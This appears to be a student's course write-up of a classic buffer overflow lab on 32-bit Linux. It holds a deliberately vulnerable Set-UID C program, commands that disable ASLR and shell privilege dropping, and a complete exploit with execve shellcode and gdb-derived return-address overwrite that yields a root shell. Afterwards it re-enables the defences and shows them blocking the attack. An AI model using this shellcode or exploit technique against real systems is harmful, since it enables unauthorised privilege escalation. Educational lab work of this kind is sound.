2022-2023-1 20222820 "Linux Kernel Principles and Analysis" Week 11 Assignment

Buffer overflow vulnerability experiment

1. Introduction to the experiment

A buffer overflow occurs when a program attempts to write more data than the pre-allocated fixed length into a buffer. This vulnerability can be exploited by a malicious user to change the program's flow control or even execute arbitrary fragments of code. This vulnerability occurs due to the temporary closure of the data buffer and return address, and an overflow will cause the return address to be overwritten.

2. Experimental preparation

The experimental building provides 64-bit Ubuntu Linux. In order to facilitate the observation of assembly statements in this experiment, we need to operate in a 32-bit environment, so some preparations need to be made before the experiment.
Enter the command to install some tools for compiling 32-bit C

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3-gdbm gdb

3. Experimental steps

1. In Ubuntu and some other Linux systems, address space randomization is used to randomize the initial addresses of the heap and stack, which makes it very difficult to guess the accurate memory address, and guessing the memory address is a buffer overflow. The key to the attack. Therefore, in this experiment, we use the following command to turn off this feature:

sudo sysctl -w kernel.randomize_va_space=0

 

2. In addition, in order to further prevent buffer overflow attacks and other attacks that utilize shell programs, many shell programs automatically give up their privileges when called. Therefore, even if you can trick a Set-UID program into calling a shell, you cannot maintain root privileges in the shell. This protection is implemented in /bin/bash .

In linux system, /bin/sh is actually a symbolic link pointing to /bin/bash or /bin/dash . To reproduce the situation before this protection was implemented, we use another shell program (zsh) instead /bin/bash. The following instructions describe how to set up the zsh program:

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

 3. Enter the command linux32 to enter the 32-bit Linux environment. At this point you will find that the command line is not so fun to use. For example, tab completion is no longer available. Enter /bin/bash to use bash:

 4. Under normal circumstances, buffer overflow will cause the program to crash. In the program, the overflowed data covers the return address. And if the data covering the return address is another address, then the program will jump to that address. If the address stores a piece of carefully designed code to implement other functions, this code is shellcode.

5. Create a new  file in the /tmp directory: stack.c

cd /tmp
vim stack.c

 

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

 

You can know from the code that the program will read a file named "badfile" and load the file content into "buffer".

Compile the program and set SET-UID. The command is as follows:

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

The GCC compiler has a stack protection mechanism to prevent buffer overflow, so we need to use –fno-stack-protector to turn off this mechanism when compiling the code. And -z execstack is used to allow the execution stack.

-g The parameter is to enable the executable document obtained after compilation to be debugged with gdb .

6. Attack program

Our purpose is to attack the vulnerable program just now and obtain root permissions through the attack.

Create a new  file in the /tmp directory and enter the following content: exploit.c

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

Pay attention to the above code. \x??\x??\x??\x?? needs to add the address of shellcode stored in memory, because this location can just cover the return address after an overflow occurs. And the sentence strcpy(buffer+100,shellcode); tells us that shellcode is saved at the location of buffer + 100 . Below we will detail how to obtain the address we need to add.

Now we need to get the address of the shellcode in memory and enter the command to enter gdb debugging:

gdb stack
disass main

 

The result is as shown below:

 So we set a breakpoint at the address 0x080484ee .

# 设置断点
b *0x080484ee
r
i r $esp

 rooted phrase strcpy(buffer + 100,shellcode); our calculation shellcode location location 0xffffcfb0 + 0x64 = 0xffffd014

 

Now modify the exploit.c file and change \x??\x??\x??\x?? to the calculated result \x14\xd0\xff\xff. Note that the order is reversed.

 

Later, edit exploit.c Procedure:

gcc -m32 -o exploit exploit.c

Run the attack program exploit first, then run the vulnerability program stack, and observe the results:

 Through the attack, root privileges were obtained

4. Practice

1. Use the command sudo sysctl -w kernel.randomize_va_space=2 to turn on the address space randomization mechanism of the system, repeatedly use the exploit program to attack the stack program, and observe whether the attack can be successful and whether root privileges can be obtained.

 It can be seen that it is no longer possible to successfully attack and obtain root privileges.

2. Redirect /bin/sh to /bin/bash (or /bin/dash) and observe whether the attack is successful and whether root permissions can be obtained.
Redirect /bin/sh to /bin/bash with the following command

 Run the attack program exploit first, and then run the vulnerability program stack. Observe the results:

It is no longer possible to successfully attack and obtain root privileges

Guess you like

Origin blog.csdn.net/weixin_44226607/article/details/128065170